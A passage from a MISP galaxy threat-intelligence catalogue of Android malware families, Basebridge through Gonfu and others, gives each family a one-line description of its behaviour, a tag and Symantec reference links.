https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99

Basebridge

Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Basebridge"*

Table 108. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99

Basedao

Basedao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Basedao"*

Table 109. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99

Batterydoctor

Batterydoctor is Trojan that makes exaggerated claims about the device's ability to recharge the battery, as well as steal information.

The tag is: *misp-galaxy:android="Batterydoctor"*

Table 110. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99

Beaglespy

Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.

The tag is: *misp-galaxy:android="Beaglespy"*

Table 111. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99

Becuro

Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Becuro"*

Table 112. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99

Beita

Beita is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Beita"*

Table 113. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99

Bgserv

Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: *misp-galaxy:android="Bgserv"*

Table 114. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99

Biigespy

Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.

The tag is: *misp-galaxy:android="Biigespy"*

Table 115. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99

Bmaster

Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Bmaster"*

Table 116. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99

Bossefiv

Bossefiv is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Bossefiv"*

Table 117. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99

Boxpush

Boxpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Boxpush"*

Table 118. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99

Burstly

Burstly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Burstly"*

Table 119. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99

Buzzcity

Buzzcity is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Buzzcity"*

Table 120. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99

ByPush

ByPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ByPush"*

Table 121. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99

Cajino

Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Cajino"*

Table 122. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99

Casee

Casee is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Casee"*

Table 123. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99

Catchtoken

Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Catchtoken"*

Table 124. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99

Cauly

Cauly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Cauly"*

Table 125. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99

Cellshark

Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: *misp-galaxy:android="Cellshark"*

Table 126. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99

Centero

Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android="Centero"*

Table 127. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99

Chuli

Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.

The tag is: *misp-galaxy:android="Chuli"*

Table 128. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99

Citmo

Citmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Citmo"*

Table 129. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99

Claco

Claco is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Claco"*

Table 130. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99

Clevernet

Clevernet is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Clevernet"*

Table 131. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99

Cnappbox

Cnappbox is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Cnappbox"*

Table 132. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99

Cobblerone

Cobblerone is a spyware application for Android devices that can track the phone's location and remotely erase the device.

The tag is: *misp-galaxy:android="Cobblerone"*

Table 133. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99

Coolpaperleak

Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Coolpaperleak"*

Table 134. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99

Coolreaper

Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.

The tag is: *misp-galaxy:android="Coolreaper"*

Table 135. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99

Cosha

Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Cosha"*

Table 136. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99

Counterclank

Counterclank is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Counterclank"*

Table 137. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99

Crazymedia

Crazymedia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Crazymedia"*

Table 138. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99

Crisis

Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Crisis"*

View relationships graph

Crisis has relationships with:

- similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"

Table 139. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99

Crusewind

Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Crusewind"*

Table 140. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99

Dandro

Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.

The tag is: *misp-galaxy:android="Dandro"*

Table 141. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99

Daoyoudao

Daoyoudao is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Daoyoudao"*

Table 142. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99

Deathring

Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Deathring"*

Table 143. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99

Deeveemap

Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Deeveemap"*

Table 144. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99

Dendoroid

Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Dendoroid"*

Table 145. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99

Dengaru

Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.

The tag is: *misp-galaxy:android="Dengaru"*

Table 146. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99

Diandong

Diandong is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Diandong"*

Table 147. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99

Dianjin

Dianjin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dianjin"*

Table 148. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99

Dogowar

Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.

The tag is: *misp-galaxy:android="Dogowar"*

Table 149. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99

Domob

Domob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Domob"*

Table 150. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99

Dougalek

Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.

The tag is: *misp-galaxy:android="Dougalek"*

Table 151. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99

Dowgin

Dowgin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dowgin"*

Table 152. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99

Droidsheep

Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.

The tag is: *misp-galaxy:android="Droidsheep"*

Table 153. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99

Dropdialer

Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Dropdialer"*

Table 154. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99

Dupvert

Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.

The tag is: *misp-galaxy:android="Dupvert"*

Table 155. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99

Dynamicit

Dynamicit is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dynamicit"*

Table 156. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99

Ecardgrabber

Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.

The tag is: *misp-galaxy:android="Ecardgrabber"*

Table 157. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99

Ecobatry

Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Ecobatry"*

Table 158. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99

Enesoluty

Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Enesoluty"*

Table 159. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99

Everbadge

Everbadge is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Everbadge"*

Table 160. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99

Ewalls

Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.

The tag is: *misp-galaxy:android="Ewalls"*

Table 161. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99

Exprespam

Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.

The tag is: *misp-galaxy:android="Exprespam"*

Table 162. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99

Fakealbums

Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.

The tag is: *misp-galaxy:android="Fakealbums"*

Table 163. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99

Fakeangry

Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Fakeangry"*

Table 164. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99

Fakeapp

Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.

The tag is: *misp-galaxy:android="Fakeapp"*

Table 165. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99

Fakebanco

Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.

The tag is: *misp-galaxy:android="Fakebanco"*

Table 166. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99

Fakebank

Fakebank is a Trojan horse that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakebank"*

Table 167. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99

Fakebank.B

Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakebank.B"*

Table 168. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99

Fakebok

Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.

The tag is: *misp-galaxy:android="Fakebok"*

Table 169. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99

Fakedaum

Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakedaum"*

Table 170. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99

Fakedefender

Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakedefender"*

Table 171. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99

Fakedefender.B

Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakedefender.B"*

Table 172. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99

Fakedown

Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.

The tag is: *misp-galaxy:android="Fakedown"*

Table 173. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99

Fakeflash

Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.

The tag is: *misp-galaxy:android="Fakeflash"*

Table 174. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99

Fakegame

Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakegame"*

Table 175. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99

Fakeguard

Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakeguard"*

Table 176. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99

Fakejob

Fakejob is a Trojan horse for Android devices that redirects users to scam websites.

The tag is: *misp-galaxy:android="Fakejob"*

Table 177. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99

Fakekakao

Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.

The tag is: *misp-galaxy:android="Fakekakao"*

Table 178. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99

Fakelemon

Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user's consent.

The tag is: *misp-galaxy:android="Fakelemon"*

Table 179. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99

Fakelicense

Fakelicense is a Trojan horse that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android="Fakelicense"*

Table 180. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99

Fakelogin

Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakelogin"*

Table 181. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99

FakeLookout

FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="FakeLookout"*

Table 182. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99

FakeMart

FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.

The tag is: *misp-galaxy:android="FakeMart"*

Table 183. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99

Fakemini

Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.

The tag is: *misp-galaxy:android="Fakemini"*

Table 184. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99

Fakemrat

Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakemrat"*

Table 185. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

Fakeneflic

Fakeneflic is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Fakeneflic"*

Table 186. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99

Fakenotify

Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.

The tag is: *misp-galaxy:android="Fakenotify"*

Table 187. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99

Fakepatch

Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.

The tag is: *misp-galaxy:android="Fakepatch"*

Table 188. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99

Fakeplay

Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.

The tag is: *misp-galaxy:android="Fakeplay"*

Table 189. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99

Fakescarav

Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakescarav"*

Table 190. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99

Fakesecsuit

Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakesecsuit"*

Table 191. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99

Fakesucon

Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Fakesucon"*

Table 192. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99

Faketaobao

Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Faketaobao"*

Table 193. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99

Faketaobao.B

Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker.

The tag is: *misp-galaxy:android="Faketaobao.B"*

Table 194. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99

Faketoken

Faketoken is a Trojan horse that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Faketoken"*

Table 195. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032211-2048-99
http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/

Fakeupdate

Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.

The tag is: *misp-galaxy:android="Fakeupdate"*

Table 196. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99

Fakevoice

Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.

The tag is: *misp-galaxy:android="Fakevoice"*

Table 197. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99

Farmbaby

Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: *misp-galaxy:android="Farmbaby"*

Table 198. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99

Fauxtocopy

Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.

The tag is: *misp-galaxy:android="Fauxtocopy"*

Table 199. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99

Feiwo

Feiwo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Feiwo"*

Table 200. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99

FindAndCall

FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.

The tag is: *misp-galaxy:android="FindAndCall"*

Table 201. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99

Finfish

Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Finfish"*

Table 202. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99

Fireleaker

Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fireleaker"*

Table 203. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99

Fitikser

Fitikser is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fitikser"*

Table 204. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99

Flexispy

Flexispy is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Flexispy"*

Table 205. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99

Fokonge

Fokonge is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Fokonge"*

Table 206. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99

FoncySMS

FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.

The tag is: *misp-galaxy:android="FoncySMS"*

Table 207. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99

Frogonal

Frogonal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Frogonal"*

Table 208. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99

Ftad

Ftad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Ftad"*

Table 209. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99

Funtasy

Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.

The tag is: *misp-galaxy:android="Funtasy"*

Table 210. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99

GallMe

GallMe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="GallMe"*

Table 211. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99

Gamex

Gamex is a Trojan horse for Android devices that downloads further threats.

The tag is: *misp-galaxy:android="Gamex"*

Table 212. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99

Gappusin

Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.

The tag is: *misp-galaxy:android="Gappusin"*

Table 213. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99

Gazon

Gazon is a worm for Android devices that spreads through SMS messages.

The tag is: *misp-galaxy:android="Gazon"*

Table 214. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99

Geinimi

Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: *misp-galaxy:android="Geinimi"*

Table 215. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99

Generisk

Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user's Android device.

The tag is: *misp-galaxy:android="Generisk"*

Table 216. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99

Genheur

Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.

The tag is: *misp-galaxy:android="Genheur"*

Table 217. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99

Genpush

Genpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Genpush"*

Table 218. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99

GeoFake

GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.

The tag is: *misp-galaxy:android="GeoFake"*

Table 219. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99

Geplook

Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.

The tag is: *misp-galaxy:android="Geplook"*

Table 220. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99

Getadpush

Getadpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Getadpush"*

Table 221. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99

Ggtracker

Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.

The tag is: *misp-galaxy:android="Ggtracker"*

Table 222. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99

Ghostpush

Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Ghostpush"*

Table 223. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99

Gmaster

Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Gmaster"*

Table 224. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99

Godwon

Godwon is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Godwon"*

Table 225. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99

Golddream

Golddream is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Golddream"*

Table 226. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99

Goldeneagle

Goldeneagle is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Goldeneagle"*

Table 227. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99

Golocker

Golocker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Golocker"*

Table 228. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99

Gomal

Gomal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Gomal"*

Table 229. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99

Gonesixty

Gonesixty is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonesixty"*

Table 230. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99

Gonfu

Gonfu is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonfu"*

Table 231. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99

Gonfu.B

Gonfu.B is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonfu.B"*

Table 232. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99

Gonfu.C

Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.

The tag is: *misp-galaxy:android="Gonfu.C"*

Table 233. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99

Gonfu.D

Gonfu.D is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Gonfu.D"*

Table 234. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99

Gooboot

Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.

The tag is: *misp-galaxy:android="Gooboot"*

Table 235. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99

Goodadpush

Goodadpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Goodadpush"*

Table 236. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99

Greystripe

Greystripe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Greystripe"*

Table 237. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99

Gugespy

